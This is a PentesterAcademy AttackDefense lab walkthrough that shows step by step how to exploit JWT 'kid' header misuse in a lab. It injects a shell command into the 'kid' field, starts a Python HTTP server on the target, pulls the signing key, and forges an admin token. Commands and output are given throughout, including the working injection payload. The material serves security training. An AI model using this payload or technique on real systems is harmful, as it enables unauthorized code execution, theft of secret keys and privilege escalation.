ATTACK DEFENSE

by PentesterAcademy

Name	kid Claim Misuse - Command Injection
URL	https://attackdefense.com/challengedetails?cid=1429
Type	REST: JWT Expert

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Check the IP address of the machine.

Command: ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.1.1.3  netmask 255.255.255.0  broadcast 10.1.1.255
        ether 02:42:0a:01:01:03  txqueuelen 0  (Ethernet)
        RX packets 159  bytes 14045 (14.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 129  bytes 346873 (346.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.151.147.2  netmask 255.255.255.0  broadcast 192.151.147.255
        ether 02:42:c0:97:93:02  txqueuelen 0  (Ethernet)
        RX packets 34  bytes 2899 (2.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14  bytes 971 (971.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18  bytes 1557 (1.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18  bytes 1557 (1.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@attackdefense:~#
```

The IP address of the machine is 192.151.147.2.

Step 2: Use nmap to discover the services running on the target machine.

Command: nmap 192.151.147.3

```
root@attackdefense:~# nmap 192.151.147.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-25 12:51 UTC
Nmap scan report for target-1 (192.151.147.3)
Host is up (0.000018s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
MAC Address: 02:42:C0:97:93:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
root@attackdefense:~#
```

Finding more information about the running service:

Command: nmap -sS -sV -p 8080 192.151.147.3

```
root@attackdefense:~# nmap -sS -sV -p 8080 192.151.147.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-25 12:51 UTC
Nmap scan report for target-1 (192.151.147.3)
Host is up (0.000045s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 02:42:C0:97:93:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
root@attackdefense:~#
```

The target machine is running a Python based HTTP server on port 8080.

Step 3: Checking the presence of the REST API.

Interacting with the Python HTTP service to reveal more information about it.

Command: curl 192.151.147.3:8080

```
root@attackdefense:~# curl 192.151.147.3:8080

-== Welcome to the CLI JWT Token API ==-

    Endpoint    |  Method    | Description
    /issue      |   GET      | Issues a JWT token.
/goldenticket   |   POST     | Get your golden ticket (if role='admin').
    /help       |   GET      | Show the endpoints info.

root@attackdefense:~#
```

The response from port 8080 of the target machine reveals that the API is available on this port.

Note: The /goldenticket endpoint would give the golden ticket only if role="admin".

Step 4: Interacting with the API.

Getting a JWT Token:

Command: curl http://192.151.147.3:8080/issue

```
root@attackdefense:~# curl http://192.151.147.3:8080/issue
-== Issued Token: ==-

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJ
pYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.GOknH9lTP5O
VwD1twpARtqxiBuh_FzkEZup4ns_6QhY

==========================
root@attackdefense:~#
```

The response contains a JWT Token.

Issued JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.GOknH9lTP5OVwD1twpARtqxiBuh_FzkEZup4ns_6QhY

Step 5: Decoding the header and payload parts of the JWT token obtained in the previous step.

Visit https://jwt.io and specify the token obtained in the previous step, in the "Encoded" section.

Note:

1. The algorithm used for signing the token is "HS256".
2. The token is using kid header parameter which contains the path of the secret key to be used for signing the token.

Info: The "kid" (key ID) Header Parameter is a hint indicating which key was used to secure the JWS.

The key used for signing the token is stored on the target machine at the path "/root/res/keys/secret7.key"

Submitting the above issued token to the API to get the golden ticket:

Command:
curl -X POST -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.GOknH9lTP5OVwD1twpARtqxiBuh_FzkEZup4ns_6QhY"}' http://192.151.147.3:8080/goldenticket

```
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"to
ken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5
In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.GOkn
H9lTP5OVwD1twpARtqxiBuh_FzkEZup4ns_6QhY"}' http://192.151.147.3:8080/goldenticket

No golden ticket for you! Only admin has access to it!

root@attackdefense:~#
```

The server doesn't returns the golden ticket. It responds by saying that the ticket is only for the admin user.

As mentioned in the challenge description, the signing key would be read using the system() function.

Vulnerability:
Since the attacker can modify the kid header parameter, the attacker controlled value would be passed to the system() function.

The attacker could supply a command injection payload and retrieve the key from the server.

Step 6: Leveraging the vulnerability to create a forged token.

Check the OS running on the target machine:

Command: nmap -O 192.151.147.3

```
root@attackdefense:~# nmap -O 192.151.147.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-25 12:54 UTC
Nmap scan report for target-1 (192.151.147.3)
Host is up (0.000039s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
MAC Address: 02:42:C0:97:93:03 (Unknown)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/
 .
Nmap done: 1 IP address (1 host up) scanned in 3.86 seconds
root@attackdefense:~#
```

The target machine is running Linux.

Also, in Step 2, it was discovered that python2.7.15+ is present on the target machine.

Note: Spawning an HTTP Server as the command injection payload would reveal the files on the target machine.

Modifying the kid header parameter and sending a command injection payload in this field.

Set the kid field to the following payload:

Payload: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337 &

Note: The secret key used for signing the token doesn't matter in this case since the kid value passed by the attacker would be used to read the signing key from the file, using the system function and when the key is read, the attacker payload would get executed at that time.

Encoded PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5OyBjZCAvcm9vdC9yZXMva2V5cy8gJiYgcHl0aG9uIC1tIFNpbXBsZUhUVFBTZXJ2ZXIgMTMzNyAmIn0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.zCp2odW3aCLCS0Xw1GeXt5OY69p-3mCpORwIVZsqrIE

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE


```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "/root/res/keys/secret7.key; cd /root/res/keys/
&& python -m SimpleHTTPServer 1337 &"
}
```


PAYLOAD: DATA


```
{
  "iat": 1574686367,
  "role": "authenticated",
  "exp": 1574772767
}
```


Forged Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5OyBjZCAvcm9vdC9yZXMva2V5cy8gJiYgcHl0aG9uIC1tIFNpbXBsZUhUVFBTZXJ2ZXIgMTMzNyAmIn0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.zCp2odW3aCLCS0Xw1GeXt5OY69p-3mCpORwIVZsqrIE

Submitting the above issued token to the API to get the golden ticket:

Command:

curl -X POST -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5OyBjZCAvcm9vdC9yZXMva2V5cy8gJiYgcHl0aG9uIC1tIFNpbXBsZUhUVFBTZXJ2ZXIgMTMzNyAmIn0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.zCp2odW3aCLCS0Xw1GeXt5OY69p-3mCpORwIVZsqrIE"}' http://192.151.147.3:8080/goldenticket

```
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"to
ken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5
OyBjZCAvcm9vdC9yZXMva2V5cy8gJiYgcHl0aG9uIC1tIFNpbXBsZUhUVFBTZXJ2ZXIgMTMzNyAmIn0.eyJpYXQ
iOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.zCp2odW3aCLCS0X
w1GeXt5OY69p-3mCpORwIVZsqrIE"}' http://192.151.147.3:8080/goldenticket
```

The command doesn't returns any response.

Wait for a few seconds and press Ctrl + C to finish sending the request:

```
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"to
ken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5
OyBjZCAvcm9vdC9yZXMva2V5cy8gJiYgcHl0aG9uIC1tIFNpbXBsZUhUVFBTZXJ2ZXIgMTMzNyAmIn0.eyJpYXQ
iOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.zCp2odW3aCLCS0X
w1GeXt5OY69p-3mCpORwIVZsqrIE"}' http://192.151.147.3:8080/goldenticket
^C
root@attackdefense:~#
```

A Python-based HTTP server would have been started on the target machine on port 1337.

Step 7: Retrieving the signing key.

Interact with the spawned Python-based HTTP Server:

Command: curl http://192.151.147.3:1337

```
root@attackdefense:~# curl http://192.151.147.3:1337
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="secret1.key">secret1.key</a>
<li><a href="secret10.key">secret10.key</a>
<li><a href="secret2.key">secret2.key</a>
<li><a href="secret3.key">secret3.key</a>
<li><a href="secret4.key">secret4.key</a>
<li><a href="secret5.key">secret5.key</a>
<li><a href="secret6.key">secret6.key</a>
<li><a href="secret7.key">secret7.key</a>
<li><a href="secret8.key">secret8.key</a>
<li><a href="secret9.key">secret9.key</a>
</ul>
<hr>
</body>
</html>
root@attackdefense:~#
```

Command Injection worked successfully and the HTTP Server got started on port 1337.

Retrieving the contents of the secret key (secret7.key) from the target machine:

Command: curl http://192.151.147.3:1337/secret7.key

```
root@attackdefense:~#
root@attackdefense:~# curl http://192.151.147.3:1337/secret7.key
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
root@attackdefense:~#
```

Secret Key: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Step 8: Creating a forged token.

Since the correct signing key is known, using it to create a valid JWT Token.

Using https://jwt.io to create a forged token:

Paste the token retrieved in Step 3 and add the correct signing key retrieved in the previous step.

Encoded PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzcyNzY3fQ.GOknH9lTP5OVwD1twpARtqxiBuh_FzkEZup4ns_6QhY

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "/root/res/keys/secret7.key"
}
```

PAYLOAD: DATA

```
{
  "iat": 1574686367,
  "role": "authenticated",
  "exp": 1574772767
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  9b934ca495991b7852b855
) ☐ secret base64 encoded
```

Signature Verified

SHARE JWT

Set the role to "admin".

Encoded PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhZG1pbiIsImV4cCI6MTU3NDc3Mjc2N30.BtilCBwCxUNt7tamMPiITJCYZJ88NiFYBVzXNlNeMOU

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "/root/res/keys/secret7.key"
}
```

PAYLOAD: DATA

```
{
  "iat": 1574686367,
  "role": "admin",
  "exp": 1574772767
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  9b934ca495991b7852b855
) ☐ secret base64 encoded
```

Signature Verified

SHARE JWT

Forged Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhZG1pbiIsImV4cCI6MTU3NDc3Mjc2N30.BtilCBwCxUNt7tamMPiITJCYZJ88NiFYBVzXNlNeMOU

Step 9: Using the forged token to retrieve the golden ticket.

Sending the request to get the golden ticket again:

Command:
curl -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJpYXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhZG1pbiIsImV4cCI6MTU3NDc3Mjc2N30.BtilCBwCxUNt7tamMPiITJCYZJ88NiFYBVzXNlNeMOU"}' http://192.151.147.3:8080/goldenticket

```
root@attackdefense:~# curl -H "Content-Type: application/json" -X POST -d '{"token": "e
yJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9yb290L3Jlcy9rZXlzL3NlY3JldDcua2V5In0.eyJp
YXQiOjE1NzQ2ODYzNjcsInJvbGUiOiJhZG1pbiIsImV4cCI6MTU3NDc3Mjc2N30.BtilCBwCxUNt7tamMPiITJC
YZJ88NiFYBVzXNlNeMOU"}' http://192.151.147.3:8080/goldenticket

Golden Ticket: This_Is_The_Golden_Ticket_63996bf4431caf1a53c96fe31443787a266bae4e3

root@attackdefense:~#
```

Golden Ticket: This_Is_The_Golden_Ticket_63996bf4431caf1a53c96fe31443787a266bae4e3

References:

1. Strapi Documentation (https://strapi.io/documentation)
2. JWT debugger (https://jwt.io/#debugger-io)
3. JSON Web Signature RFC (https://tools.ietf.org/html/rfc7515)